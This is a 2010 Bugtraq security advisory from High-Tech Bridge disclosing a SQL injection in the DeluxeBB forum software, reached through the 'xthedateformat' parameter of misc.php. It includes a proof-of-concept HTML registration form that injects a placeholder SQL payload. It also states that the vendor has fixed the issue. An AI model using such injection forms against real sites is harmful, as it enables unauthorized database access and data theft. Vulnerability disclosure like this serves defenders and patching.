[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
SQL injection in DeluxeBB
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: SQL injection in DeluxeBB
- From: advisory@xxxxxxxxxxx
- Date: Tue, 19 Oct 2010 23:20:02 +0200 (CEST)
Vulnerability ID: HTB22641
Reference: http://www.htbridge.ch/advisory/sql_injection_in_deluxebb.html
Product: DeluxeBB
Vendor: DeluxeBB ( http://www.deluxebb.com/ )
Vulnerable Version: 1.3 and Probably Prior Versions
Vendor Notification: 05 October 2010
Vulnerability Type: SQL Injection
Status: Fixed by Vendor
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing
(http://www.htbridge.ch/)
Vulnerability Details:
The vulnerability exists due to failure in the "misc.php" script to properly
sanitize user-supplied input in "xthedateformat" variable. Attacker can alter
queries to the application SQL database, execute arbitrary queries to the
database, compromise the application, access or modify sensitive data, or
exploit various vulnerabilities in the underlying SQL database.
Attacker can use browser to exploit this vulnerability. The following PoC is
available:
<form action="http://deluxebb/misc.php?sub=register" method="post" name="main" >
<input type="hidden" name="name" value="pentester" />
<input type="hidden" name="pass" value="pentester" />
<input type="hidden" name="pass2" value="pentester" />
<input type="hidden" name="email" value="pentester@xxxxxxxxxxx" />
<input type="hidden" name="hideemail" value="0" />
<input type="hidden" name="languagex" value="default" />
<input type="hidden" name="xthetimeoffset" value="0" />
<input type="hidden" name="xthetimeformat" value="24" />
<input type="hidden" name="xthedateformat" value="'SQL_CODE_HERE" />
<input type="hidden" value="" name="redirect" />
<input type="submit" value="Register" name="submit" />
</form>
Solution: Upgrade to the most recent version